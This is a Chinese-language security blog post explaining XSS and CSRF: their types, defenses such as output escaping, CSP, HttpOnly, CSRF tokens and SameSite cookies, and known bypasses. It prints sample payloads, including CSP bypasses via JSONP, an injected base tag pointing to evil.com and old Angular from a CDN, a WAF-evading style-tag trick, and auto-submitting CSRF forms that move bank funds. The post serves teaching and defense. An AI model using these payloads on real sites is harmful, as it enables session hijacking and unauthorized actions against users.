深入研究前端漏洞安全(XSS、CSRF)

前言

emmmm…..学习安全也有很长一段时间了,我都没有对这两个漏洞进行过深入的研究(说白了,我就是看不起这两个漏洞,不能 rce 就算了,想要实现信息获取还得靠钓鱼,那我为啥不直接写免杀马钓鱼呢?回答我……)

然而,人在屋檐下,不得不低头,该学的还是得学…..

跨站脚本攻击(XSS, Cross-Site Scripting)

1. 基础概念

XSS(跨站脚本攻击,Cross-Site Scripting) 是一种常见的Web安全漏洞,攻击者通过注入恶意脚本到网页中,使得其他用户在浏览时执行这些脚本,从而窃取用户数据、劫持会话或破坏页面功能

2. XSS 漏洞分类

2.1 反射型 XSS

定义:指恶意脚本作为请求的一部分发送给服务器,服务器将该脚本“反射”回用户的浏览器,导致脚本执行。恶意代码不会存储在服务器的数据库中。

攻击场景:

1
http://example.com/search?query=<script>alert('XSS')</script>

若页面直接显示query参数内容且未转义,则会执行脚本。

特点:

  • 非持久性: 攻击是一次性的。

  • 触发方式: 需要诱导受害者点击特定的恶意链接(Payload 通常包含在 URL 参数中)。

  • 交互流程: 用户 -> 服务器 -> 用户。

2.2 存储型 XSS

定义:指恶意脚本被永久存储在目标服务器的数据库、文件系统或缓存中。当受害者访问包含该恶意数据的页面时,脚本会被自动提取并执行。

攻击场景:攻击者在论坛发帖、博客留言或用户简介中插入恶意脚本。该内容被保存到数据库。之后任何访问该帖子的用户,浏览器都会加载并执行这段脚本。

特点:

  • 持久性: 危害最大,不需要诱导用户点击特定链接,只要访问正常页面即可中招。

  • 触发方式: 受害者主动访问被污染的页面。

  • 交互流程: 攻击者 -> 服务器(存储)-> 受害者。

2.3 DOM 型 XSS

定义:DOM 型 XSS 是一种特殊的 XSS,其漏洞完全存在于客户端代码(JavaScript)中。服务器返回的页面可能是正常的,但客户端脚本在处理用户输入(如 URL 片段、Referer 等)时,不安全地修改了页面的 DOM 结构,导致恶意脚本执行。

攻击场景:

1
2
3
// 从URL中获取参数并写入页面
const userInput = location.hash.substring(1);
document.getElementById("output").innerHTML = userInput;

若URL链接为http://example.com/test#<img src=x onerror=alert(1)>,则客户端处理URL则会导致XSS漏洞的产生。

特点:

  • 纯客户端行为: 恶意代码不需要经过服务器的解析或反射(虽然代码本身可能来自服务器,但漏洞逻辑在前端)。

  • 触发方式: 通过修改 URL 的 # (hash) 部分或其他客户端输入源。

  • 核心机制: 数据流从 Source(输入点,如 location.search)流向 Sink(执行点,如 document.writeinnerHTML)。

3. XSS 防御方案

3.1 输入验证与过滤

这应该是我们首先能够想到的最为简单的防御方案,但是这个防御方案具有天生的弊端,那就是如何避免正常的消息也被检测识别为恶意内容。

例如:在论坛、评论、留言等一些场景中,天然就需要输入一些违规字符去表达我们的思想或者存在的问题,在这些场景中想要通过输入验证和过滤的方式去规避 XSS 攻击明显就是不科学的。

3.2 输出编码(转义)

这是目前运用较为广泛的一种避免 XSS 的方式,使用这种方式最大的优点就是能够让用户想要输出的内容正常显示且不会将这些内容当成javascript代码执行导致 XSS 攻击。

主要的实现方式就是将浏览器输出的内容都转变成“文本数据”,对特殊符号编码为**HTML实体(Entity)**,如此浏览器解析器就会将特殊符号当作文本内容进行处理,而不是作为语法结构相关的内容进行处理。

具体的防御方案可以参考如下的函数实现:

1
2
3
4
5
6
7
8
9
10
function escapeHTML(str) {
return str.replace(/[&<>"'\/]/g, (m) => ({
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#39;',
"/": '&#x2F;'
}[m]));
}

这种防御方式在一些特定的场景下是不会采用的,那就是必须支持http解析执行的场景,例如:邮件。

3.3 内容安全策略(CSP)

在没有 CSP 的情况下,浏览器遵守同源策略。虽然同源策略避免了浏览器读取读取非同源网站数据的问题,但是同源策略允许嵌入内容,例如:<script src="...">, <img src="...">, <link href="...">, <iframe src="...">。因此,仍然会产生xss漏洞。

内容安全策略(CSP) 通过 HTTP 响应头 (Header) 给浏览器发一份“白名单”。浏览器在加载资源或执行代码前,必须先核对这份名单。

内容安全策略主要设计三个方面的内容:

  1. 脚本来源限制
    CSP 最基础的功能,组织浏览器“加载任意URL”的内容,强制浏览器只能从受信任的服务器下载脚本文件内容。
  2. 禁止内联代码
    CSP 防御 XSS 攻击最核心的内容,CSP 会默认阻止内联代码(unsafe-inline)执行从而防御 XSS攻击。
    CSP 的默认策略是完全进行内联代码执行的,因此 CSP 策略不应该包含unsafe-inline
    1
    2
    // 这是不安全的配置,不要带有'unsafe-inline'才是安全的
    Content-Security-Policy: script-src 'self' 'unsafe-inline';
  3. 禁用危险函数与插件
    即使阻止内联代码执行,攻击者依然可以通过eval()和一些陈旧的插件实现 XSS 攻击,最好的方式则是禁用危险函数和相关插件的内容。
    CSP是默认禁止eval()函数的执行的,因此 CSP 策略不应该包含unsafe-eval关键字。
    通过object-src 'none'禁止所有的插件,彻底禁用 <object>, <embed>, <applet> 标签。

一个比较好的防御 XSS 攻击的 CSP 响应头

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'; base-uri 'self';

该防御方案的主要目的不是为了防止 XSS 攻击,而是防止 XSS 窃取信息内容。

Http Only 通过在 HTTP 响应头中给 Cookie 加上Http Only 的标记,明确告知浏览器该 Cookie 仅能用户 HTTP 请求传输,无法通过 js 脚本获取,从而保证 Cookie 泄露的问题。

1
Set-Cookie: session_id=xyz123; Secure; HttpOnly

3.5 避免危险 API

该防御方案主要针对的是 DOM 型 XSS 漏洞,防御的核心在于强制浏览器创建“文本节点”而非“元素节点”。

一些常见的禁用和替代方式如下:

  • innerHTML → 改用 textContent
  • document.write() → 改用DOM操作API。
  • eval() → 改用 JSON.parse()

4. XSS 攻击 bypass

对于目前一些常见的 XSS 攻击方式基本已经无法生效,根本原因在于上述提到的防御方式已经把一些基本的 XSS 语句全部拦截下来。

如果仍然存在一些畸形的 XSS 语句没能够成功拦截,配合 waf 也已经能够将普通的 XSS 攻击给拦截下来。

因此,下面就讨论的内容肯定不是纯粹的 XSS 攻击的内容,必要时会讨论多种漏洞协同实现 XSS 攻击。

4.1 JSONP劫持 bypass CSP

利用后端存在的 JSONP 劫持漏洞使用 XSS 攻击。

1
<script src="http://example.com/manifest.jsonp?callback=a=alert,a();"></script>

4.2 利用解析器容错 bypass WAF

以下的的语句能够成功实现 XSS 攻击,但是从 WAF 的角度看来,这可能只是一个正常的 CSS 语句内容;

这个语句能够成功解析的主要原因在于HTML解析器具有极强的容器性,也可以理解为HTML解析优先级高于CSS,因此当HTML解析器识别到</style则将其当成一个结束标签闭合再此之前的<style>,并将后面的/x>当前垃圾字符抛弃。因此为后面的 XSS 攻击语句的执行创造了条件。

1
<style>@import url('#theme</style/x><script>alert(916)</script><style/x>.css');</style>

4.3 Base-URI劫持 bypass CSP

如果 CSP 没有配置 base-uri 指令,攻击者可以通过注入<base>标签来改变页面上所有相对路径脚本的加载源。

1
2
<base href="http://evil.com/">
<script src="js/app.js"></script>

4.4 利用 CDN 的静态资源 (Static Bypass)

很多网站为了方便,会在 CSP 里放行公共 CDN,如 script-src 'self' https://cdnjs.cloudflare.com

Payload: 攻击者去 CDN 上找一个已知的、旧版本的、包含漏洞的库(比如旧版 Angular 或 jQuery),或者找一个本身就支持 JSONP 的库。

1
2
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js"></script>
<div ng-app ng-csp>{{ $on.curry.call().alert(1) }}</div>

5. 总结

目前 XSS 漏洞广泛存在与市面上各大厂商的互联网服务中,包括各大头部厂商,该漏洞的危害和利用主要是源于Cookie窃取和恶意钓鱼。

在攻防对抗场景中,XSS 漏洞十分鸡肋,通过钓鱼实现 Cookie 获取,拿到指定网站的后台权限,远不及通过免杀木马调用实现的机器权限获取的用处大。

XSS 漏洞钓鱼与免杀木马钓鱼对比,XSS 漏洞钓鱼的成功率肯定比免杀木马钓鱼成功率更高,XSS 漏洞钓鱼只需要用户点击相应的链接即可实现 Cookie 获取,获得用户权限;而免杀木马钓鱼不仅需要用户下载指定程序执行,还需要考虑对抗杀软和 EDR 及其相关的内容。

现在简单解释一下为什么市面上仍存在大量 XSS 漏洞的原因。在我看来,XSS 漏洞存在的根本原因在于HTML解析的必要性,肯定存在场景需要HTML的解析,当允许HTML解析的情况下,对于CSP配置不到位就会导致XSS漏洞的产生。除此之外,即使CSP配置到位,仅允许白名单解析,WAF也已经配置的情况下,仍然能够通过WAF绕过+白名单域名下存在的JSONP劫持回调函数实现XSS漏洞。

综上所述,XSS漏洞的预防并不是单一漏洞问题,而是多个组件的协同配合预防XSS漏洞的产生,只要仍然需要HTML解析,XSS漏洞就可能会存在(只不过还没有被发现而已)。

跨站请求伪造漏洞(CSRF, Cross-Site Request Forgery)

1. 基础概念

CSRF(跨站请求伪造,Cross-Site Request Forgery) 是一种网络攻击方式,攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证(如 Cookie),绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

通俗来讲,就是攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

2. 攻击原理与流程

一个典型的 CSRF 攻击有着如下的流程:

  1. 受害者登录 a.com,并保留了登录凭证(Cookie)。
  2. 攻击者引诱受害者访问了 b.com
  3. b.coma.com 发送了一个请求:a.com/act=xx。浏览器会默认携带 a.com 的 Cookie。
  4. a.com 接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
  5. a.com 以受害者的名义执行了 act=xx
  6. 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让 a.com 执行了自己定义的操作。

首先,攻击者会提供一个“不怀好意”的链接,等待用户上钩。当受害者访问了这个有害链接时,其利用页面中的恶意代码强制用户向某个具有CSRF漏洞的服务器发送请求。这个请求因为是从受害者端发出的,因此会自动带上受害者的Cookie。服务器接收到这个请求后,认为是合法用户的请求进而执行,使得攻击者的计谋得逞。这就是CSRF的大致原理。

3. CSRF 漏洞分类

3.1 GET 类型

GET 类型的 CSRF 利用非常简单,只需要一个 HTTP 请求。

攻击场景:

1
<img src="http://bank.example/withdraw?amount=10000&for=hacker" >

在受害者访问含有这个 img 的页面后,浏览器会自动向 http://bank.example/withdraw?amount=10000&for=hacker 发出一次 HTTP 请求。bank.example 就会收到包含受害者 Cookie 的请求去执行转账操作。

  • 请求可以嵌入在 <img src>, <script src>, <iframe src> 等标签中,用户访问页面即自动触发。

3.2 POST 类型

这种类型的 CSRF 利用起来通常使用的是一个自动提交的表单。

攻击场景:

1
2
3
4
5
6
<form action="http://bank.example/withdraw" method="POST">
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>

访问该页面后,表单会自动提交,相当于模拟用户完成了一次 POST 操作。

  • 相比 GET 类型,POST 类型通常需要构造一个表单并执行 JS 自动提交。

3.3 链接类型

链接类型的 CSRF 并不常见,比起其他两种用户打开页面就中招的情况,这种需要用户点击链接才会触发。

攻击场景:
攻击者通常会以比较夸张的词语诱骗用户点击,例如:

1
2
3
<a href="http://test.com/csrf/transfer.php?amount=1000&for=hacker" taget="_blank">
重磅消息!!
</a>
  • 需要用户主动点击,成功率相对较低。

4. CSRF 防御方案

CSRF 攻击的两个特点:

  1. CSRF(通常)发生在第三方域名。
  2. CSRF 攻击者不能获取到 Cookie 等信息,只是使用。

针对这两点,我们可以制定防御策略:

4.1 同源检测 (Origin 和 Referer)

在 HTTP 协议中,每一个异步请求都会携带两个 Header,用于标记来源域名:

  • Origin Header
  • Referer Header

缺点:Referer 的值是由浏览器提供的,虽然 HTTP 协议有要求,但是每个浏览器对于 Referer 的具体实现可能有差别,且 Referer 可以被伪造或被用户禁用。

  • Origin Header

在部分与CSRF有关的请求中,请求的Header中会携带Origin字段。字段内包含请求的域名(不包含path及query)。如果Origin存在,那么直接使用Origin中的字段确认来源域名就可以。

在以下两种情况下Origin并不存在:
1. IE11同源策略: IE 11 不会在跨站CORS请求上添加Origin标头,Referer头将仍然是唯一的标识。最根本原因是因为IE 11对同源的定义和其他浏览器有不同,有两个主要的区别,可以参考MDN Same-origin_policy#IE_Exceptions
2. 302重定向: 在302重定向之后Origin不包含在重定向的请求中,因为Origin可能会被认为是其他来源的敏感信息。对于302重定向的情况来说都是定向到新的服务器上的URL,因此浏览器不想将Origin泄漏到新的服务器上。

  • Referer Header

根据HTTP协议,在HTTP头中有一个字段叫Referer,记录了该HTTP请求的来源地址。对于Ajax请求,图片和script等资源请求,Referer为发起请求的页面地址。对于页面跳转,Referer为打开页面历史记录的前一个页面地址。因此我们使用Referer中链接的Origin部分可以得知请求的来源域名。

在以下情况下会导致Referer缺失:浏览器在从 HTTPS 页面向 HTTP 页面发起请求时,不会发送 Referer 头部。攻击者可以在 HTTPS 的恶意网站上构造攻击,浏览器此时不带 Referer,如果服务器逻辑是“没有 Header 就放行”,防御就会失效。

比较成熟的避免方案就是不存在Referer字段的关键请求直接拦截。

Referrer Policy(引用策略) 是一个 W3C 规范,用于控制浏览器在发送请求(如链接跳转、加载图片、脚本请求等)时,Referer 头部中应该包含多少信息。

设置Referrer Policy的三种方法:

作用范围 设置位置 代码示例 适用场景
元素级(最高优先级) HTML 标签属性 <a href="..." referrerpolicy="no-referrer"> 针对单个链接、图片或脚本进行特殊控制。
页面级(中等优先级) <head> 区域 <meta name="referrer" content="strict-origin-when-cross-origin"> 无法修改服务器配置,或仅需控制单页行为。
全局级(推荐) Web 服务器配置 Referrer-Policy: strict-origin-when-cross-origin 最佳实践。一次配置,全站生效。
策略名称 同源发送内容 跨域发送内容 HTTPS$\to$HTTP (降级) 评价与适用场景
no-referrer 最高隐私。会破坏 CSRF 防御。
same-origin 同源专用。跨域请求(如从搜索进)会被误判。
origin ⚠️ ⚠️ ⚠️ 仅暴露源。但在不安全降级时也会发送,不推荐。
strict-origin ⚠️ ⚠️ 安全版 Origin。降级时不发送,比上面那个更好。
origin-when-cross-origin ⚠️ ⚠️ 折中方案。同源便于分析,跨域保护隐私,但降级不安全。
strict-origin-when-cross-origin(主流默认) ⚠️ 最佳实践。兼顾同源分析、跨域隐私与传输安全。
unsafe-url 极度危险。无条件泄露所有路径参数,切勿使用。
no-referrer-when-downgrade(旧默认) 已过时。跨域也会泄露完整路径,隐私风险大。

4.2 CSRF Token

CSRF Token 是目前最普遍的防御 CSRF 的方案。

原理:

  1. 用户打开页面时,服务器生成一个随机的 Token。
  2. 将这个 Token 放入 Session 中,同时将 Token 渲染到页面上(通常在 hidden input 中)。
  3. 用户提交请求时,携带这个 Token。
  4. 服务器验证请求中的 Token 是否与 Session 中的 Token 一致。

防御实现:
前端:

1
2
3
4
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="jv93-d93a-32fa-1123" />
...
</form>

后端:

1
2
3
4
if request.form['csrf_token'] == session['csrf_token']:
# Token 匹配,执行操作
else:
# Token 不匹配,拒绝

这种防御方案需要确保当前网站中不存在XSS漏洞,如果存在XSS漏洞,攻击者则能够通过XSS漏洞获取得到token,从而进一步实现CSRF漏洞。

在分布式环境下,由于请求可能会被负载均衡器分发到不同的服务器(节点 A 生成了 Token,但请求被转发到了节点 B),传统的“将 Token 存在本地 Session 内存中”的方案会失效。

为了解决分布式环境存在的问题,提出了两种不同的解决方式

  1. 集中式 Session 存储
    不再把 Session/Token 存在 Web 服务器的内存里,而是存到一个独立的、所有服务器都能访问的高速缓存中间件中(通常是 Redis 或 Memcached)。
  2. 加密 Token (Encrypted/Signed Token) —— 无状态方案
    这种方案借鉴了 JWT (JSON Web Token) 的思路。服务器不再存储 Token,而是将验证逻辑“内嵌”在 Token 本身中。

目前大多数网站在关键操作上都采用验证码或密码验证的形式,其实本质上也是预防CSRF漏洞攻击的一种方式,本质上其实也算是一种CSRF token。

原理:

  1. 在用户访问网站页面时,向请求域名注入一个 Cookie,内容为随机字符串(例如 csrfcookie=v8g9e4ksfhw)。
  2. 在前端向后端发起请求时,取出 Cookie,并添加到 URL 参数或 Header 中。
  3. 后端验证 Cookie 中的字段与 URL 参数/Header 中的字段是否一致。

优点

  1. 无需使用Session,适用面更广,易于实施。
  2. Token储存于客户端中,不会给服务器带来压力。
  3. 相对于Token,实施成本更低,可以在前后端统一拦截校验,而不需要一个个接口和页面添加。

缺点

  1. Cookie中增加了额外的字段。
  2. 如果有其他漏洞(例如XSS),攻击者可以注入Cookie,那么该防御方式失效。
  3. 难以做到子域名的隔离。
  4. 为了确保Cookie传输安全,采用这种防御方式的最好确保用整站HTTPS的方式,如果还没切HTTPS的使用这种方式也会有风险。

Google 起草了一份草案来改进 HTTP 协议,那就是为 Set-Cookie 响应头新增 Samesite 属性,它用来标明这个 Cookie 是个“同站 Cookie”,同站 Cookie 只能作为第一方 Cookie,不能作为第三方 Cookie。

配置示例:

1
Set-Cookie: session_id=xyz123; SameSite=Strict;

属性值:

  • Strict:严格模式,完全禁止第三方 Cookie。
  • Lax:宽松模式,允许部分第三方请求携带 Cookie (如 GET 请求跳转)。
  • None:无限制模式,任何请求都会带 Cookie。必须配合 Secure 属性使用。

SameSite=Lax 已经成为所有主流浏览器(Chrome, Edge, Safari, Firefox)的默认标准

即使部署了 SameSite=Lax,以下情况仍存在风险,需要在设计中补全:

  1. 120秒的时间窗口 (Lax + POST)

    为了兼容某些单点登录 (SSO) 流程,Chrome 曾引入一个特性:如果 Cookie 设置的时间短于 2 分钟,且非幂等请求(POST),可能允许携带。虽然这个策略在不断收紧,但不可完全依赖。

    关键操作依然建议验证 CSRF Token 或自定义 Header (JWT)。

  2. 子域劫持 (Subdomain Takeover)

    SameSitea.example.comb.example.com 为一家人。如果攻击者控制了 attacker.example.com,他可以向 bank.example.com 发起 CSRF 攻击,SameSite 不会拦截

    Cookie 前缀:使用 __Host- 前缀来强制 Cookie 的作用域仅限于当前主机(不包含子域)。
    Set-Cookie: __Host-session=xyz; SameSite=Lax; Secure; Path=/

  3. 客户端过期时间差异

    用户浏览器版本过低(如 IE11 或旧版 Android webview),不支持 SameSite,它会忽略该属性并默认为“发送”。可以通过以下方式实现安全防护

    • 在网关层(Nginx/WAF)检测 User-Agent。

    • 如果是老旧浏览器,强制要求后端校验 CSRF Token。

    • 设置两套 Cookie(一套带 SameSite,一套不带),后端优先读取带 SameSite 的。

5. 总结

CSRF 与 XSS 区别在于:

  • XSS 利用的是用户对指定网站的信任(执行了恶意脚本)。
  • CSRF 利用的是网站对用户网页浏览器的信任(凭证自动携带)。

在现代 Web 开发中,CSRF 的生存空间正在被压缩:

  1. 框架自带防御:现代 Web 框架(如 Spring Security, Django, Laravel)通常默认开启 CSRF 保护。
  2. SameSite 普及:浏览器默认策略逐渐趋向于 SameSite=Lax,大大降低了 CSRF 的成功率。
  3. 前后端分离:JWT 等认证方式(Header 携带 Token)天然免疫 CSRF(前提是不把 Token 存 Cookie 或 Cookie 设置了 HttpOnly/SameSite)。

参考链接

  1. https://tech.meituan.com/2018/09/27/fe-security.html
  2. https://tech.meituan.com/2018/10/11/fe-security-csrf.html
  3. https://alf.nu/
  4. https://geeeez.github.io/posts/xss%E4%B9%8BCSP%E7%9A%84%E5%8E%9F%E7%90%86%E5%92%8C%E7%BB%95%E8%BF%87/
  5. https://www.freebuf.com/articles/web/333173.html
  6. https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
  7. https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions
  8. https://words.filippo.io/csrf/
  9. https://ghostsecurity.com/blog/csrf-in-2025-not-dead-just-different

深入研究前端漏洞安全(XSS、CSRF)
http://candyb0x.github.io/2025/12/24/深入研究前端漏洞安全(XSS、CSRF)/
作者
Candy
发布于
2025年12月24日
更新于
2025年12月24日
许可协议